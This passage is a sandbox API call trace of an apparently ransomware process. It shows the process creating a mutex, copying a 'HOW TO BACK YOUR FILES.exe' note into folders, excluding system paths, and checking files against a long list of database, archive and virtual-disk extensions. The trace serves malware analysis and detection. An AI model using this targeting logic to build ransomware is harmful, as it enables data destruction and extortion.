CloseHandle (hObject=0xec) returned 1 [0092.925] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\System" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0092.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f980 | out: hHeap=0x4f0000) returned 1 [0092.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f8b0 | out: hHeap=0x4f0000) returned 1 [0092.925] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System") returned 42 [0092.925] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1F403F7BD7C2255278B7DE5D5DD0CA79") returned 0xec [0092.925] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.925] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0092.925] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.925] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.926] GetLastError () returned 0x0 [0092.926] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0092.926] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.927] CloseHandle (hObject=0xf4) returned 1 [0092.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0092.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.927] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bf5540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bf5540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.927] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.927] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.927] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.927] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bf5540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bf5540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.927] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.927] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.927] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.927] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.927] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0092.927] lstrcmpiW (lpString1="ado", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.927] lstrcmpiW (lpString1="ado", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.927] lstrcmpiW (lpString1="ado", lpString2=".") returned 1 [0092.927] lstrcmpiW (lpString1="ado", lpString2="..") returned 1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="windows") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="bootmgr") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="temp") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="pagefile.sys") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="boot") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="ids.txt") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="ntuser.dat") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="perflogs") returned -1 [0092.928] lstrcmpiW (lpString1="ado", lpString2="MSBuild") returned -1 [0092.928] lstrlenW (lpString="ado") returned 3 [0092.928] lstrcpyW (in: lpString1=0x241e89e, lpString2="ado" | out: lpString1="ado") returned="ado" [0092.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8b0 [0092.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51bbb8 [0092.928] lstrcatW (in: lpString1="ado", lpString2="\\" | out: lpString1="ado\\") returned="ado\\" [0092.928] lstrcatW (in: lpString1="ado\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ado\\HOW TO BACK YOUR FILES.exe") returned="ado\\HOW TO BACK YOUR FILES.exe" [0092.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.932] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886e43c6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x886e43c6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89202410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="windows") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootmgr") returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="temp") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="pagefile.sys") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="boot") returned 1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ids.txt") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntuser.dat") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="perflogs") returned -1 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2="MSBuild") returned -1 [0092.933] lstrlenW (lpString="DirectDB.dll") returned 12 [0092.933] lstrcpyW (in: lpString1=0x241e89e, lpString2="DirectDB.dll" | out: lpString1="DirectDB.dll") returned="DirectDB.dll" [0092.933] lstrlenW (lpString="DirectDB.dll") returned 12 [0092.933] lstrlenW (lpString="Athena865") returned 9 [0092.933] lstrcmpiW (lpString1="ectDB.dll", lpString2="Athena865") returned 1 [0092.933] lstrlenW (lpString=".dll") returned 4 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".dll") returned 1 [0092.933] lstrlenW (lpString=".lnk") returned 4 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".lnk") returned 1 [0092.933] lstrlenW (lpString=".ini") returned 4 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".ini") returned 1 [0092.933] lstrlenW (lpString=".sys") returned 4 [0092.933] lstrcmpiW (lpString1="DirectDB.dll", lpString2=".sys") returned 1 [0092.933] lstrlenW (lpString="DirectDB.dll") returned 12 [0092.933] lstrlenW (lpString="bak") returned 3 [0092.933] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0092.933] lstrlenW (lpString="ba_") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0092.934] lstrlenW (lpString="dbb") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0092.934] lstrlenW (lpString="vmdk") returned 4 [0092.934] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0092.934] lstrlenW (lpString="rar") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0092.934] lstrlenW (lpString="zip") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0092.934] lstrlenW (lpString="tgz") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0092.934] lstrlenW (lpString="vbox") returned 4 [0092.934] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0092.934] lstrlenW (lpString="vdi") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0092.934] lstrlenW (lpString="vhd") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0092.934] lstrlenW (lpString="vhdx") returned 4 [0092.934] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0092.934] lstrlenW (lpString="avhd") returned 4 [0092.934] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0092.934] lstrlenW (lpString="db") returned 2 [0092.934] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0092.934] lstrlenW (lpString="db2") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0092.934] lstrlenW (lpString="db3") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0092.934] lstrlenW (lpString="dbf") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0092.934] lstrlenW (lpString="mdf") returned 3 [0092.934] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0092.934] lstrlenW (lpString="mdb") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0092.935] lstrlenW (lpString="sql") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0092.935] lstrlenW (lpString="sqlite") returned 6 [0092.935] lstrcmpiW (lpString1="DB.dll", lpString2="sqlite") returned -1 [0092.935] lstrlenW (lpString="sqlite3") returned 7 [0092.935] lstrcmpiW (lpString1="tDB.dll", lpString2="sqlite3") returned 1 [0092.935] lstrlenW (lpString="sqlitedb") returned 8 [0092.935] lstrcmpiW (lpString1="ctDB.dll", lpString2="sqlitedb") returned -1 [0092.935] lstrlenW (lpString="xml") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0092.935] lstrlenW (lpString="$er") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0092.935] lstrlenW (lpString="4dd") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0092.935] lstrlenW (lpString="4dl") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0092.935] lstrlenW (lpString="^^^") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0092.935] lstrlenW (lpString="abs") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0092.935] lstrlenW (lpString="abx") returned 3 [0092.935] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0092.935] lstrlenW (lpString="accdb") returned 5 [0092.935] lstrcmpiW (lpString1="B.dll", lpString2="accdb") returned 1 [0092.935] lstrlenW (lpString="accdc") returned 5 [0092.935] lstrcmpiW (lpString1="B.dll", lpString2="accdc") returned 1 [0092.935] lstrlenW (lpString="accde") returned 5 [0092.935] lstrcmpiW (lpString1="B.dll", lpString2="accde") returned 1 [0092.935] lstrlenW (lpString="accdr") returned 5 [0092.935] lstrcmpiW (lpString1="B.dll", lpString2="accdr") returned 1 [0092.936] lstrlenW (lpString="accdt") returned 5 [0092.936] lstrcmpiW (lpString1="B.dll", lpString2="accdt") returned 1 [0092.936] lstrlenW (lpString="accdw") returned 5 [0092.936] lstrcmpiW (lpString1="B.dll", lpString2="accdw") returned 1 [0092.936] lstrlenW (lpString="accft") returned 5 [0092.936] lstrcmpiW (lpString1="B.dll", lpString2="accft") returned 1 [0092.936] lstrlenW (lpString="adb") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0092.936] lstrlenW (lpString="adb") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0092.936] lstrlenW (lpString="ade") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0092.936] lstrlenW (lpString="adf") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0092.936] lstrlenW (lpString="adn") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0092.936] lstrlenW (lpString="adp") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0092.936] lstrlenW (lpString="alf") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0092.936] lstrlenW (lpString="ask") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0092.936] lstrlenW (lpString="btr") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0092.936] lstrlenW (lpString="cat") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0092.936] lstrlenW (lpString="cdb") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0092.936] lstrlenW (lpString="ckp") returned 3 [0092.936] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0092.936] lstrlenW (lpString="cma") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0092.937] lstrlenW (lpString="cpd") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0092.937] lstrlenW (lpString="dacpac") returned 6 [0092.937] lstrcmpiW (lpString1="DB.dll", lpString2="dacpac") returned 1 [0092.937] lstrlenW (lpString="dad") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0092.937] lstrlenW (lpString="dadiagrams") returned 10 [0092.937] lstrcmpiW (lpString1="rectDB.dll", lpString2="dadiagrams") returned 1 [0092.937] lstrlenW (lpString="daschema") returned 8 [0092.937] lstrcmpiW (lpString1="ctDB.dll", lpString2="daschema") returned -1 [0092.937] lstrlenW (lpString="db-journal") returned 10 [0092.937] lstrcmpiW (lpString1="rectDB.dll", lpString2="db-journal") returned 1 [0092.937] lstrlenW (lpString="db-shm") returned 6 [0092.937] lstrcmpiW (lpString1="DB.dll", lpString2="db-shm") returned -1 [0092.937] lstrlenW (lpString="db-wal") returned 6 [0092.937] lstrcmpiW (lpString1="DB.dll", lpString2="db-wal") returned -1 [0092.937] lstrlenW (lpString="dbc") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0092.937] lstrlenW (lpString="dbs") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0092.937] lstrlenW (lpString="dbt") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0092.937] lstrlenW (lpString="dbv") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0092.937] lstrlenW (lpString="dbx") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0092.937] lstrlenW (lpString="dcb") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0092.937] lstrlenW (lpString="dct") returned 3 [0092.937] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0092.937] lstrlenW (lpString="dcx") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0092.938] lstrlenW (lpString="ddl") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0092.938] lstrlenW (lpString="dlis") returned 4 [0092.938] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0092.938] lstrlenW (lpString="dp1") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0092.938] lstrlenW (lpString="dqy") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0092.938] lstrlenW (lpString="dsk") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0092.938] lstrlenW (lpString="dsn") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0092.938] lstrlenW (lpString="dtsx") returned 4 [0092.938] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0092.938] lstrlenW (lpString="dxl") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0092.938] lstrlenW (lpString="eco") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0092.938] lstrlenW (lpString="ecx") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0092.938] lstrlenW (lpString="edb") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0092.938] lstrlenW (lpString="epim") returned 4 [0092.938] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0092.938] lstrlenW (lpString="fcd") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0092.938] lstrlenW (lpString="fdb") returned 3 [0092.938] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0092.938] lstrlenW (lpString="fic") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0092.939] lstrlenW (lpString="flexolibrary") returned 12 [0092.939] lstrlenW (lpString="fm5") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0092.939] lstrlenW (lpString="fmp") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0092.939] lstrlenW (lpString="fmp12") returned 5 [0092.939] lstrcmpiW (lpString1="B.dll", lpString2="fmp12") returned -1 [0092.939] lstrlenW (lpString="fmpsl") returned 5 [0092.939] lstrcmpiW (lpString1="B.dll", lpString2="fmpsl") returned -1 [0092.939] lstrlenW (lpString="fol") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0092.939] lstrlenW (lpString="fp3") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0092.939] lstrlenW (lpString="fp4") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0092.939] lstrlenW (lpString="fp5") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0092.939] lstrlenW (lpString="fp7") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0092.939] lstrlenW (lpString="fpt") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0092.939] lstrlenW (lpString="frm") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0092.939] lstrlenW (lpString="gdb") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0092.939] lstrlenW (lpString="gdb") returned 3 [0092.939] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0092.939] lstrlenW (lpString="grdb") returned 4 [0092.939] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0092.939] lstrlenW (lpString="gwi") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0092.940] lstrlenW (lpString="hdb") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0092.940] lstrlenW (lpString="his") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0092.940] lstrlenW (lpString="ib") returned 2 [0092.940] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0092.940] lstrlenW (lpString="idb") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0092.940] lstrlenW (lpString="ihx") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0092.940] lstrlenW (lpString="itdb") returned 4 [0092.940] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0092.940] lstrlenW (lpString="itw") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0092.940] lstrlenW (lpString="jet") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0092.940] lstrlenW (lpString="jtx") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0092.940] lstrlenW (lpString="kdb") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0092.940] lstrlenW (lpString="kexi") returned 4 [0092.940] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0092.940] lstrlenW (lpString="kexic") returned 5 [0092.940] lstrcmpiW (lpString1="B.dll", lpString2="kexic") returned -1 [0092.940] lstrlenW (lpString="kexis") returned 5 [0092.940] lstrcmpiW (lpString1="B.dll", lpString2="kexis") returned -1 [0092.940] lstrlenW (lpString="lgc") returned 3 [0092.940] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0092.940] lstrlenW (lpString="lwx") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0092.941] lstrlenW (lpString="maf") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0092.941] lstrlenW (lpString="maq") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0092.941] lstrlenW (lpString="mar") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0092.941] lstrlenW (lpString="marshal") returned 7 [0092.941] lstrcmpiW (lpString1="tDB.dll", lpString2="marshal") returned 1 [0092.941] lstrlenW (lpString="mas") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0092.941] lstrlenW (lpString="mav") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0092.941] lstrlenW (lpString="maw") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0092.941] lstrlenW (lpString="mdbhtml") returned 7 [0092.941] lstrcmpiW (lpString1="tDB.dll", lpString2="mdbhtml") returned 1 [0092.941] lstrlenW (lpString="mdn") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0092.941] lstrlenW (lpString="mdt") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0092.941] lstrlenW (lpString="mfd") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0092.941] lstrlenW (lpString="mpd") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0092.941] lstrlenW (lpString="mrg") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0092.941] lstrlenW (lpString="mud") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0092.941] lstrlenW (lpString="mwb") returned 3 [0092.941] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0092.941] lstrlenW (lpString="myd") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0092.942] lstrlenW (lpString="ndf") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0092.942] lstrlenW (lpString="nnt") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0092.942] lstrlenW (lpString="nrmlib") returned 6 [0092.942] lstrcmpiW (lpString1="DB.dll", lpString2="nrmlib") returned -1 [0092.942] lstrlenW (lpString="ns2") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0092.942] lstrlenW (lpString="ns3") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0092.942] lstrlenW (lpString="ns4") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0092.942] lstrlenW (lpString="nsf") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0092.942] lstrlenW (lpString="nv") returned 2 [0092.942] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0092.942] lstrlenW (lpString="nv2") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0092.942] lstrlenW (lpString="nwdb") returned 4 [0092.942] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0092.942] lstrlenW (lpString="nyf") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0092.942] lstrlenW (lpString="odb") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0092.942] lstrlenW (lpString="odb") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0092.942] lstrlenW (lpString="oqy") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0092.942] lstrlenW (lpString="ora") returned 3 [0092.942] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0092.943] lstrlenW (lpString="orx") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0092.943] lstrlenW (lpString="owc") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0092.943] lstrlenW (lpString="p96") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0092.943] lstrlenW (lpString="p97") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0092.943] lstrlenW (lpString="pan") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0092.943] lstrlenW (lpString="pdb") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0092.943] lstrlenW (lpString="pdm") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0092.943] lstrlenW (lpString="pnz") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0092.943] lstrlenW (lpString="qry") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0092.943] lstrlenW (lpString="qvd") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0092.943] lstrlenW (lpString="rbf") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0092.943] lstrlenW (lpString="rctd") returned 4 [0092.943] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0092.943] lstrlenW (lpString="rod") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0092.943] lstrlenW (lpString="rodx") returned 4 [0092.943] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 